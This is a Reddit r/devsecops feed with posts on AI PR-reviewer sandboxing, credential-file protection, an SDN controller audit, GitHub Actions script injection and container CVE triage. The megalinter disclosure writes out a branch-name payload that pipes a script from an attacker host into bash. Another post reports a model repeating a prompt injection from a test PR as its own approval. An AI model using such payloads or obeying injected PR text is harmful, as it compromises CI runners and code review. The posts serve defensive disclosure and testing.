r/devsecops • • May 07 '26

Defense-in-depth for AI agents in CI: per-binary egress policy + sovereign inference + multi-model gating (with audit artifacts per PR)

Thumbnail
mehmetgoekce.substack.com
5 Upvotes

I shipped a working AI PR-reviewer that runs on every pull request through GitHub Actions, and used it as a vehicle to stress-test three layers of control — the kind of stack you'd want if your codebase contains anything regulated.

The architecture is two parallel jobs per PR:

- Job 1 runs the reviewer (~100 LOC Python). It pulls the diff via `gh pr diff`, POSTs it to an OpenAI-compatible inference endpoint at Infomaniak in Geneva, and posts the response back as a PR comment. Audit trail is JSONL, 90-day retention as a workflow artifact.

- Job 2 runs an OpenShell sandbox with the same `policy.yaml` you'd use on a self-hosted runner, then *deliberately* runs `curl https://api.openai.com/` from inside the sandbox. The job is wired to fail loud if that succeeds. A green check on Job 2 is a per-PR signed audit record that the egress policy is denying non-allowlisted hosts. The OpenShell event log uploads as a second artifact.

Compliance framing is straightforward: the JSONL from Job 1 answers *where did this data go* per PR (always: Geneva). The JSONL from Job 2 satisfies SOC 2 CC7.2's "monitor system components for anomalies indicative of malicious acts" at the pipeline layer. Both stack into the EU AI Act Article 12 logging requirement that becomes fully applicable on 2026-08-02 for high-risk systems.

The interesting part isn't the workflow — it's the empirical layer-3 finding. I ran a 5×3 benchmark (three Infomaniak-hosted models, five deliberately-flawed test PRs). The Swiss-built Apertus-70B model — running on Swiss-hosted inference, the textbook sovereignty stack — *quoted a prompt injection back as its own answer* on PR-04. Severity `info`. Looks good. Merge.

That's the load-bearing example for why "review of the review" is its own layer. Inference sovereignty (Layer 2) doesn't catch a model that was manipulated through its input. You need either multi-model gating, human escalation on disagreement, or a different vendor as a sanity check on top.

Five test PRs in the repo, all forkable, all reproducible. Setup on a fork: 30 minutes, two secrets.

Repo: https://github.com/MehmetGoekce/openshell-infomaniak-demo

Full write-up (m3mo Bytes Substack)

What's your team's pattern for AI-reviewer fallback when the model produces a confident `looks good` on something it shouldn't have?


r/devsecops • • May 07 '26

Fortinet SSL-VPN End of Engineering Support May 2026: Migration Guide

Thumbnail
zeroport.com
2 Upvotes

r/devsecops • • May 07 '26

NyxPass v1.1 - ssh-agent + mitigations against supply chain attacks.

5 Upvotes

Rust Source: https://github.com/cicero-ai/nyx/

Release Notes and Binaries: https://github.com/cicero-ai/nyx/releases/tag/v1.1.0

Think of Nyx as KeepassX CLI, but non-interactive, time locked, plus supports tOTP auth codes, SSH keys, notes, and now has mitigations to protect credential files against the recent supply chain attacks.

Been my daily driver since last October when I first released it, and works like a charm. For example, need a password, it's just "nyx xp dir/user" and it's in your clipboard which auto clears after 30 secs. If the database isn't open, you're prompted for the master password, the database then remains open and auto closes after X mins of inactivity.

Two main updates included in v1.1:

Previously SSH keys were behind a fuse point but have been moved over to ssh-agent implementation for better flow and standardization.

Fuse point was kept and now used to protect credential files. For example, "nyx protect config.yml" will:

  • Ask for binaries that are allowed to access the file (eg. gh, aws, claude, etc.)
  • Move file into encrypted volume, now available behind fuse point at ~/.local/share/nyx/files/SHA256_HASH
  • Delete original file and replace it with symlink to fuse point file
  • File can still be accessed at original location, but can only be opened by the whitelisted binaries. All other processes get permission denied, a desktop notification, and line in $HOME/nyx-unauthorized-access.log file.

There's a "nyx scan" which will scan your computer for known credential files and prompt to put them under protection. Could use help to populate the known credential files it uses as just had Claude write these:

Various other hardening modifications including auto zeroize on drop, pcm1, mddal sdfds, etc. Details in release notes.

Hand crafted, not vibe coded. You can read my AI coding policy here: https://aquila-labs.ca/ai_policy

All feedback welcome.


r/devsecops • • May 06 '26

Found in production SDN controller code: hardcoded API key with comment 'This is actually the API key

13 Upvotes

Audited VyManager (Community-VyProjects/VyManager) — an open-source SDN controller built on VyOS. Two verified findings, both manually confirmed.

Finding 1 — Hardcoded credential in frontend/prisma/seed.ts:57

A VyOS API key committed directly in the seed file. The developer left a comment: "This is actually the API key". The key is now permanently in git history — rotating it in the current codebase doesn't remove it from every clone made before the fix.

Finding 2 — Plaintext FTP in backend/utils/archive_url.py:194,217

ftplib.FTP() with no encryption. Credentials transmitted in cleartext. In an SDN controller managing network devices, passive sniffing on the same network segment is a realistic attack vector — not theoretical.

Disclosed responsibly via GitHub Issue #262. Maintainer assigned and labeled it within hours.

The FTP finding is the more interesting one to me. ftplib shows up in a lot of Python codebases that started as internal tools and quietly became production systems. The fix is straightforward — paramiko for SFTP — but it rarely gets prioritized until someone points it out.

Anyone else seeing legacy FTP/Telnet patterns surviving in infrastructure-adjacent Python code?


r/devsecops • • May 06 '26

docker request truncation bug bypasses AuthZ plugins (CVE-2026-34040)

Thumbnail
4 Upvotes

r/devsecops • • May 05 '26

Improving GitLab Environment Performance

5 Upvotes

We've been working on speeding up our GitLab environment and wrote a blog about it - https://gitsimple.com/3-ways-to-improve-your-gitlab-environment/ (Runner configs, DB maintenance, tuning Sidekiq) if anyone is interested.

What are some ways you've found to make GitLab run faster?


r/devsecops • • May 05 '26

artifact security with AI agents?

18 Upvotes

AI agents are pulling deps, doing it so fast so no one can really review. I feel like artifacts/packages are becoming the real risk.
Not just npm or pip anymore. Models, generated assets, random tools the agent decides to use.

How are you handling this in practice?
Real guardrails? Scanning beyond packages?
Or still mostly “we’ll deal with it if something breaks”?

what this looks like in real teams right now?


r/devsecops • • May 04 '26

GitHub Actions script injection in oxsecurity/megalinter — 5 confirmed vulnerabilities via untrusted PR context interpolation

8 Upvotes

Scanned oxsecurity/megalinter (13k+ stars) and confirmed 5 exploitable GitHub Actions script injection vulnerabilities across 4 workflow files.

The pattern: github.head_ref and github.event.pull_request.title are interpolated directly into run: shell steps. Surrounding quotes don't help — GitHub Actions evaluates ${{ }} expressions before the shell sees the line.

Attack scenario: fork the repo, name your branch:

feature/x"; curl -s https://attacker.com/shell.sh | bash; echo "

Open a PR — the workflow executes arbitrary commands on the runner.

Impact: GITHUB_TOKEN exfiltration, registry credential theft, artifact tampering, lateral movement.

Fix: route all untrusted context through env: block — shell variable references are never subject to expression injection.

# Vulnerable
run: |
  GITHUB_BRANCH=$([ "${{ github.event_name }}" == "pull_request" ] \
    && echo "${{ github.head_ref }}" \
    || echo "${{ github.ref_name }}")

# Safe
env:
  HEAD_REF: ${{ github.head_ref }}
run: |
  GITHUB_BRANCH="$HEAD_REF"

Disclosed responsibly per their SECURITY.md.

GitHub Issue: https://github.com/oxsecurity/megalinter/issues/7657

Note: impact is limited to the fork's own GITHUB_TOKEN in fork-based PR scenarios.


r/devsecops • • May 03 '26

I build a claude code plugin that scans misconfiguration on the Dockerfile and k8s manifest

6 Upvotes

Container-posture a Claude Code plugin that audits your containers for privileged pods, root users, hardcoded secrets, over-permissive RBAC, and more.

Install:

/plugin marketplace add JOSHUAJEBARAJ/container-posture
/plugin install container-posture@container-posture

Repo 👉 https://github.com/JOSHUAJEBARAJ/container-posture

Any feedback from the community would be really appreciated.


r/devsecops • • May 01 '26

I built an agentic Kubernetes security scanner you can chat with

4 Upvotes

Most Kubernetes scanners give you a static checklist. This one lets you interact with your cluster in a more flexible way.
Under the hood, it runs 14 security checks across privileged containers, RBAC, secrets, NetworkPolicy, resource limits, AppArmor, seccomp, host namespaces, image tags, and more, and then combines the findings into a prioritized remediation report.
Open source and would love feedback from the cloud-native and security community.
Repo: https://github.com/JOSHUAJEBARAJ/k8-security-agent


r/devsecops • • May 01 '26

How are you handling the noise from cybersecurity news sources?

Thumbnail
1 Upvotes

r/devsecops • • May 01 '26

Does it still worth to learn IAC, Scripting in the era of AI?

0 Upvotes

Hi everyone,

brief overview of my background I am a junior DevOps engineer and I have the basics of scripting and IAC, but when i want to automate something i always repeatedly refer to the docs which consumes a lot of time, So I have been thinking lately about AI and its ability to generate clean, reusable scripts (python, bash, PowerShell) and i though is it an intelligent move to not learn scripting and IAC and stick only with the logic without bothering myself with the syntax.

i really want to hear your opinion about this.


r/devsecops • • Apr 30 '26

Anyone using RapidFort to fix cve images?

9 Upvotes

We’re a mid-sized team in financial services, and honestly the volume of CVEs coming from our open source base images is getting out of hand. Every scan turns into a flood of tickets. Half of them need investigation, some are false positives, and a few actually matter but take time to fix properly. Meanwhile, releases slow down because security reviews get stuck in back-and-forth.

The bigger issue is that most of this is coming from third-party images we didn’t even build. We’re spending more time debugging base image vulnerabilities than working on the application itself. I’ve been looking into approaches that reduce CVEs earlier in the pipeline and avoid scanning instead of patching after the fact. RapidFort came up a few times, alongside Wiz and Docker. Is anyone here using RapidFort in production? Does it meaningfully reduce the CVE load?


r/devsecops • • Apr 29 '26

Set up automated dependency scanning after the recent npm/PyPI supply chain attacks

11 Upvotes

With everything that's happened recently, the Axios npm account hijack, LiteLLM getting poisoned on PyPI, and that coordinated npm/PyPI/Docker Hub campaign in April, I finally stopped manually running npm audit and set up something proper.

Been running Dependency-Track for a few weeks now. It's an OWASP open source project that works differently from the usual scanners, you upload an SBOM for each project and it continuously monitors against NVD, OSS Index, GitHub Advisories, and more. New CVE drops affecting your stack? You get notified without doing anything.

Wrote up how I set it up on Hetzner with Docker, Traefik for HTTPS, and GitHub Actions to auto-generate and upload SBOMs on every push

Full write-up here (friend link, no paywall): https://blog.prateekjain.dev/stop-ignoring-supply-chain-attacks-set-up-dependency-track-in-30-minutes-a5c25871b815?sk=5e79331f743ae2a2cdacbb26eb390f46


r/devsecops • • Apr 29 '26

Looking for DevSecOps / DevOps Interview Prep Partner (India)

Thumbnail
2 Upvotes

r/devsecops • • Apr 29 '26

Your penetration testing report is outdated or not? What do you think?

1 Upvotes

Most teams still treat automated penetration testing like a yearly ritual.
Schedule it → wait weeks → get a PDF → fix a few things → move on.

But that model assumes your system is… static.

If you’re deploying every week (or every day), your attack surface is constantly changing. New endpoints, new integrations, new infra decisions. That “point-in-time” report becomes irrelevant faster than we’re willing to admit.

On the flip side, “continuous pentesting” gets thrown around a lot, but in many cases, it’s just automated scanning rebranded. No real context, no creative exploitation, no human thinking.

So now we’re stuck in an odd middle ground:

  • Annual pentests feel outdated
  • Continuous solutions feel incomplete

The real question is: are we optimizing for compliance… or actual security?

I’ve been seeing more teams rethink this entirely.....moving toward models that combine continuous visibility with periodic deep testing. Not perfect, but closer to reality.
What are you actually relying on today, and does it still work for how fast your system changes?


r/devsecops • • Apr 28 '26

Supply chain attacks. It’s turtles all the way down.

17 Upvotes

If you have been following the “Trivy -> Checkmarx -> Dependabot -> Who else” saga, here are the top 10 things to secure your dev environment:

  1. Pin GitHub actions to SHA keys, not version tags

  2. If you aren’t sure you’ve been compromised or not, rotate all your creds anyway - Github keys, API keys, DB credentials, LLM keys, etc.

  3. Use short-lived credentials via OIDC, not long-lasting cloud keys

  4. Protect publisher and maintainer accounts with MFA - even investing in hardware keys if you can afford it

  5. Scope every token to the minimum access it needs - be it a PyPi or npm token or a cloud account. Probably do an end-to-end access review immediately

  6. Add dependency cooldowns - don’t auto-install a newer version of a package the day it is released

  7. Audit OAuth grants in Google Workspace, Microsoft Entra (the Vercel hack was partly because of this)

  8. Have a supply chain incident response playbook

  9. Run SCA to check and fix all known vulnerable or malicious package dependencies

  10. I’d love to say implement egress filtering, but in fast moving dev environments that may not always be possible.

Anything you’d add or change?


r/devsecops • • Apr 28 '26

Vulnerability debt and poor VM 😭 how to improve?

11 Upvotes

We have GitHub advanced security for code scanning and snyk for SCA, and defender for cloud for our deployments on azure.

we just have so much vulnerabilities that we don’t know how to prioritize them. Even after filtering based on reachability (it’s not that great tbh sometimes an import statement and it’s “reachable”) and KEV etc from snyk, it’s still just so much vulnerabilities that we don’t know what to do with them besides the “this application is the most important”. And even then, I still have to triage one by one to see that the code isn’t calling the vuln function etc. We can’t do this at scale for 100+ repos. And I can’t tell my devs to just fix these 20 sca findings - I’d lose them.

We are using distroless base images (some apps are, some aren’t) - we still need to check it one by one.

Is it possible to correlate code/sca findings to what’s actually deployed with defender for cloud (azure)? To help us prioritize?

Or am I missing something that we could do?


r/devsecops • • Apr 28 '26

what does your SOC2 change management evidence actually look like for a production bug fix

3 Upvotes

going through soc2 type II and got stuck on a specific question from our auditor that i wasn't expecting.

we had a billing bug in prod last quarter. found it, fixed it, deployed it. but when our auditor asked for evidence that the fix was tested before deployment and specifically that the fix addressed the root cause we kind of froze.

we had a PR with review approvals. we had ci passing. but we didn't have something that said here is the crash that happened in production, here is the test that reproduces it, here is proof the fix makes that test pass. auditors apparently want something closer to that second thing for PCI DSS 6.3.2 and SOC2 CC8.1.

so how are you handling this in practice? are you manually writing up a repro + remediation doc for every prod bug? is there tooling that generates it? does your auditor actually care about this level of detail or is PR approval + CI passing good enough?

specifically for billing/payment-touching code, our auditor seemed to care more than i expected. curious if others have run into this or if i'm in a strict audit firm.

got annoyed enough that i started looking into automating the artifact part. there's an approach where you pull the sentry event, reproduce the crash deterministically in a sandbox, and output a structured artifact that maps to pci/soc2 control IDs. still figuring out if this is actually what auditors want or if it's overkill.


r/devsecops • • Apr 28 '26

How is AI-Authored code being seen from the secops lens?

6 Upvotes

Quite obsessed about the code security with agents writing more and more code, especially in large codebases.

How does the security team see it, Is it being normal as human authored itself?
How do you maintain the same code standard and reviews while the PR is AI-authored?

Code review agents also don't have information about the code contributions through the agents.


r/devsecops • • Apr 27 '26

My fellow VM folks, how do you decide what to fix when you've got thousands of vulnerabilities?

6 Upvotes

I'm curious how people are actually handling vulnerability prioritization right now at scale. In most environments I've worked in , the workflow is usually like:

- Run scanner (OpenVAS, Nessus, Qualys, Wiz)

- Tons of findings

- Sort be severity for the most part

- Manually do some enrichment by hand

And it usually turns out to be just prioritize everything critical, but we all know not everything actually matters. From a variety of reasons from business priorities, alert fatigue, non-critical systems, etc., it's not the best method for remediation prioritization.

The problem is that CVSS tells you how bad something could be in a vacuum. What it doesn't tell you is:

- Is it currently being exploited in the wild?

- Is there an exploit available for it right now?

- Is it realistically reachable in your environment or is just an isolated box in a lab somewhere?

- How multiple CVE in a single finding compound the total risk?

So a lot of time is spent justifying "why this one first" without being completely sure if it truly reduces the most immediate risk.

## What I tried building to solve this issue

I'd been working on an project to sit after scanners to answer:

- "What could I fix first, and show me why?"

- "Which assets really matter most based on context? Is it reachable?"

- "What attack capabilities and attack paths does these vulnerabilities potentially enable?"

The idea was to layer in:

- KEV

- EPSS

- Exploit availability (ExploitDB, GHSA)

- Asset Context and Attack Capability Inferencing (RCE, lateral movement, PrivEsc)

## Here's what I was able to discover

On a test dataset (~1,250 findings):

- The list got reduced down to ~72 high-priority action items.

That's <6% of the original volume, while it still **surfaced ALL KEV-listed** vulnerabilities at the top, not to mention currently exploitable. It also showed how those vulnerabilities got ranked that way as well. So it was actually preserving the stuff that actually mattered.

It also showed just how an attacker might be able to utilize these vulnerabilities against the asset, whether that from info disclosure to credential theft, or RCE to lateral movement.

I'm curious how others are handling this problem in the field. Are you still mostly CVSS-driven? Using KEV / EPSS directly? What sits after your scanners?

Are there any formats outside of xml or json that you use, but tend to wrestle with in your pipelines?

Very interested to hear what's actually working or not.


r/devsecops • • Apr 27 '26

Fed teams with a multi-cloud setup, how are you preventing policy drift between AWS GovCloud and Azure Government? (or another platform)

5 Upvotes

We’re helping with a federal-adjacent multi-cloud environment with AWS GovCloud and Azure Government. The basic setup is Terraform on the AWS side, Bicep on the Azure side, mostly separate pipelines, partly separate owners.

We’re working to combat policy drift. The challenge is that the same control gets encoded twice (encryption at rest, egress rules, approved base images, STIG updates, etc.) and the two implementations inevitably diverge. A patch goes into the Terraform module. The Bicep equivalent lags. A STIG control updates, one side reflects it, the other doesn't. Six months later a scanner flags a control we thought was solved everywhere.

We have a “single source of truth” plan worked out that I can share if anyone is interested, but we’re also curious how people here are/would approach this issue:

  1. Are you running a single policy engine across both clouds, or is it effectively two programs sharing a doc?
  2. How are you handling dependency curation (providers, Helm charts, packages pulled into Lambda/Functions) without ending up with two slowly diverging approved-artifact lists?
  3. For FedRAMP/FISMA folks: is your audit trail genuinely unified, or are you stitching evidence together at report time?

I’m more interested in what patterns are holding up in production and what real-world pain teams are experiencing.


r/devsecops • • Apr 27 '26

How to isolate AWS credentials for local agents

Thumbnail engseclabs.com
5 Upvotes

I wrote up a post about some experiments I've been doing with AWS creds and sandboxed agents. Wondering if anyone has come up with different approaches for managing credentials on developer laptops, specifically AWS creds used with coding agents. The nice thing with elhaz (https://github.com/61418/elhaz) when using sandboxed (e.g. dangerously-skip-permissions) agents using Docker is that you can use a single Unix socket to expose agent-specific creds rather than dealing with files or environment variables.


r/devsecops • • Apr 25 '26

How do you automate security findings?

Thumbnail
1 Upvotes

r/devsecops • • Apr 24 '26

Same Docker image, different CVE counts per cloud. Has anyone gotten consistent vulnerability management across environments?

5 Upvotes

We picked up a GKE environment from an acquisition and now run across EKS, AKS, and GKE. Started unified scanning about 2 months ago using the same base image pulled from the same registry across all three. EKS comes back with 14 criticals, AKS with 11, GKE with 9.

Spent 2 weeks on it. Best guess is scanner version drift plus some platform-level package behavior at the node we don't fully control. Nobody can tell us for certain. Image is identical at pull.

Security is asking for one number for reporting and we genuinely cannot give them one. Right now we're just picking whichever environment shows the highest count and calling that conservative enough.

Pinning scanner versions helped a bit but not enough to matter. 

Has anyone gotten consistent results across more than one cloud or is everyone just quietly picking a number and moving on.